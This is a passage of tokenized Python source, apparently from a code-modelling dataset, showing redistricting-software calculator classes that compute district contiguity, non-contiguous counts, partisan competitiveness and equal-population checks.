"/_", "den_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "temporar", "y", " ", "fix_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "den_", "[_", "'", "value", "'_", "]_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "num_", "/_", "den_", "[_", "'", "value", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Conti", "guit", "y_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Det", "erm", "ine", " ", "if", " ", "a", " ", "district", " ", "is", " ", "contiguous", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "district", ":", " ", "A", " ", "L", "{", "Distr", "ict", "}", " ", "who", "se", " ", "conti", "guit", "y", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "evaluate", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "plan", ":", " ", "A", " ", "L", "{", "Plan", "}", " ", "who", "se", " ", "set", " ", "of", " ", "district", "s", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "evaluate", "d", " ", "for", " ", "conti", "guit", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "plan", ",", " ", "default", "s", " ", "to", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "most", " ", "recent", " ", "version", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "district", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "district", "s_", "=_", "[_", "kwargs_", "[_", "'", "district", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plan_", "=_", "kwargs_", "[_", "'", "plan", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "if_", "'", "version", "'_", "in_", "kwargs_", "else_", "plan_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "plan_", "._", "get", "\\u", "district", "s", "\\u", "at", "\\u", "version_", "(_", "version_", ",_", "include", "\\u", "geom_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "allow", "\\u", "single", "\\u", "point", "'_", "in_", "self_", "._", "arg", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "allow", "\\u", "single_", "=_", "int_", "(_", "self_", "._", "arg", "\\u", "dict_", "[_", "'", "allow", "\\u", "single", "\\u", "point", "'_", "]_", "[_", "1_", "]_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "allow", "\\u", "single_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "district_", "in_", "district", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "district_", "._", "geom_", ")_", "==_", "1_", "and_", "district_", "._", "district", "\\u", "id_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "district_", "._", "district", "\\u", "id_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "for", " ", "plan", " ", "summa", "tion", "s", " ", "of", " ", "conti", "guit", "y", ",", " ", "ignore", " ", "the", " ", "unassign", "ed", " ", "in", " ", "the", " ", "tally", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "len_", "(_", "district_", "._", "geom_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "district", " ", "has", " ", "no", " ", "geom", "etry", ",", " ", "i", ".", "e", ".", " ", "an", " ", "empty", " ", "unassign", "ed", " ", "district", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "treat", " ", "it", " ", "as", " ", "contiguous", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "district_", "._", "geom_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "obtain", " ", "the", " ", "conti", "guit", "y", " ", "override", "s", " ", "tha", "t", " ", "need", " ", "to", " ", "be", " ", "applied", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "overrides_", "=_", "district_", "._", "get", "\\u", "conti", "guit", "y", "\\u", "overrides_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "allow", "\\u", "single_", "or_", "len_", "(_", "overrides_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "runn", "ing", " ", "uni", "on", " ", "of", " ", "of", " ", "polygons", " ", "tha", "t", " ", "are", " ", "linked", ",", " ", "seede", "d", " ", "with", " ", "the", " ", "first", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "loop", " ", "through", " ", "rema", "inin", "g", " ", "polygons", " ", "and", " ", "add", " ", "any", " ", "tha", "t", " ", "eit", "her", " ", "touch", " ", "the", " ", "uni", "on", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "do", " ", "so", " ", "virtual", "ly", " ", "with", " ", "a", " ", "conti", "guit", "y", " ", "override", ".", " ", "repeat", " ", "unti", "l", " ", "eit", "her", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "-", " ", "the", " ", "rema", "inin", "g", " ", "list", " ", "is", " ", "empty", ":", " ", "contiguous", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "-", " ", "no", " ", "matche", "s", " ", "wer", "e", " ", "found", " ", "in", " ", "a", " ", "pass", ":", " ", "discon", "tig", "uo", "us_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "union_", "=_", "district_", "._", "geom_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remaining_", "=_", "district_", "._", "geom_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "contiguous", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "len_", "(_", "remaining_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "len_", "(_", "district_", "._", "geom_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "match", "\\u", "in", "\\u", "pass_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "geom_", "in_", "remaining_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "linked_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "allow", "\\u", "single_", "and_", "geom_", "._", "touche", "s_", "(_", "union_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "linked_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "override_", "in_", "overrides_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "o_", "=_", "override_", "._", "override", "\\u", "geo", "unit_", "._", "geom_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "override_", "._", "connect", "\\u", "to", "\\u", "geo", "unit_", "._", "geom_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "geom_", "._", "contains_", "(_", "o_", ")_", "and_", "union_", "._", "contains_", "(_", "c_", ")_", ")_", "or_", "(_", "geom_", "._", "contains_", "(_", "c_", ")_", "and_", "union_", "._", "contains_", "(_", "o_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "linked_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "overrides_", "._", "remove_", "(_", "override_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "linked_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "remaining_", "._", "remove_", "(_", "geom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "union_", "=_", "geom_", "._", "union_", "(_", "union_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "\\u", "in", "\\u", "pass_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "match", "\\u", "in", "\\u", "pass_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "contiguous", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "contiguous", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "count_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "target", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "target_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "\\u_", "(_", "'%", "(", "value", ")", "d", " ", "(", "of", " ", "%", "(", "target", ")", "s", ")'_", ")_", "%_", "{_", "'", "value", "'_", ":_", "count_", ",_", "'", "target", "'_", ":_", "target_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Non", "Conti", "guous", "_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", " ", "the", " ", "number", " ", "of", " ", "district", "s", " ", "in", " ", "a", " ", "plan", " ", "tha", "t", " ", "are", " ", "non", "-", "contiguous", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "plan", ":", " ", "A", " ", "L", "{", "Plan", "}", " ", "who", "se", " ", "set", " ", "of", " ", "district", "s", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "evaluate", "d", " ", "for", " ", "conti", "guit", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "plan", ",", " ", "default", "s", " ", "to", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "most", " ", "recent", " ", "version", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "plan_", "=_", "kwargs_", "[_", "'", "plan", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "if_", "'", "version", "'_", "in_", "kwargs_", "else_", "plan_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "plan_", "._", "get", "\\u", "district", "s", "\\u", "at", "\\u", "version_", "(_", "version_", ",_", "include", "\\u", "geom_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "calc_", "=_", "Conti", "guit", "y_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "calc_", "._", "compute_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "count_", "=_", "len_", "(_", "district", "s_", ")_", "-_", "calc_", "._", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "target", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "target_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "\\u_", "(_", "'%", "(", "value", ")", "d", " ", "(", "of", " ", "%", "(", "target", ")", "s", ")'_", ")_", "%_", "{_", "'", "value", "'_", ":_", "count_", ",_", "'", "target", "'_", ":_", "target_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "count_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Compet", "iti", "ven", "ess_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", " ", "the", " ", "compet", "iti", "ven", "ess", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "plan", ":", " ", "A", " ", "L", "{", "Plan", "}", " ", "who", "se", " ", "set", " ", "of", " ", "district", "s", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "evaluate", "d", " ", "for", " ", "compet", "iti", "ven", "ess", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "plan", ",", " ", "default", "s", " ", "to", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "most", " ", "recent", " ", "version", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "plan_", "=_", "kwargs_", "[_", "'", "plan", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "if_", "'", "version", "'_", "in_", "kwargs_", "else_", "plan_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "plan_", "._", "get", "\\u", "district", "s", "\\u", "at", "\\u", "version_", "(_", "version_", ",_", "include", "\\u", "geom_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "difference_", "=_", "float_", "(_", "self_", "._", "get", "\\u", "value_", "(_", "'", "range", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "low_", "=_", ".5_", "-_", "difference_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "high_", "=_", ".5_", "+_", "difference_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "low_", "=_", ".4", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "high_", "=_", ".5", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fair", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "district_", "in_", "district", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "district_", "._", "district", "\\u", "id_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmp", "dem", "_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "demo", "cra", "tic", "'_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "rep_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "repu", "bli", "can", "'_", ",_", "district_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "tmp", "dem", "_", "is_", "None_", "or_", "tmp", "rep_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dem", "_", "=_", "float_", "(_", "tmp", "dem", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rep_", "=_", "float_", "(_", "tmp", "rep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "dem", "_", "==_", "0.0_", "and_", "rep_", "==_", "0.0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pid", "x_", "=_", "dem", "_", "/_", "(_", "dem", "_", "+_", "rep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pid", "x_", ">_", "low_", "and_", "pid", "x_", "<_", "high_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fair", "_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "result_", "=_", "{_", "'", "value", "'_", ":_", "fair", "_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Equip", "opu", "lation", "_", "(_", "Calculat", "or", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "compute_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Det", "erm", "ine", " ", "if", " ", "all", " ", "the", " ", "district", "s", " ", "in", " ", "a", " ", "plan", " ", "fall", " ", "within", " ", "a", " ", "target", "\\", "10", ";", " ", " ", " ", " ", "range", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "plan", ":", " ", "A", " ", "L", "{", "Plan", "}", " ", "who", "se", " ", "set", " ", "of", " ", "district", "s", " ", "shou", "ld", " ", "be", " ", "\\", "10", ";", " ", " ", " ", " ", "evaluate", "d", " ", "for", " ", "equip", "opu", "lation", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "version", ":", " ", "Optio", "nal", ".", " ", "The", " ", "version", " ", "of", " ", "the", " ", "plan", ",", " ", "default", "s", " ", "to", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "most", " ", "recent", " ", "version", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "target", ":", " ", "Optio", "nal", ".", " ", "The", " ", "target", " ", "number", " ", "of", " ", "district", "s", " ", "to", " ", "report", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "the", " ", "HTM", "L", " ", "output", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "keyw", "ord", " ", "validation", ":", " ", "Optio", "nal", ".", " ", "Change", " ", "the", " ", "output", " ", "of", " ", "the", " ", "calculator", " ", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "a", " ", "boolean", " ", "measure", " ", "for", " ", "plan", " ", "valid", "it", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "'", "plan", "'_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "plan_", "=_", "kwargs_", "[_", "'", "plan", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "inr", "ange_", "=_", "Range_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inr", "ange_", "._", "arg", "\\u", "dict_", "=_", "self_", "._", "arg", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inr", "ange_", "._", "compute_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "kwargs_", "[_", "'", "version", "'_", "]_", "if_", "'", "version", "'_", "in_", "kwargs_", "else_", "plan_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "district", "s_", "=_", "plan_", "._", "get", "\\u", "district", "s", "\\u", "at", "\\u", "version_", "(_", "version_", ",_", "include", "\\u", "geom_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "target", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validation_", "=_", "self_", "._", "get", "\\u", "value_", "(_", "'", "validation", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "validation_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "ALL", " ", "PLAN", "S", " ", "include", " ", "1", " ", "district", " ", "named", " ", "\"", "Una", "ssi", "gned", "\",", " ", "which_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "shou", "ld", " ", "neve", "r", " ", "be", " ", "at", " ", "the", " ", "target", "._", 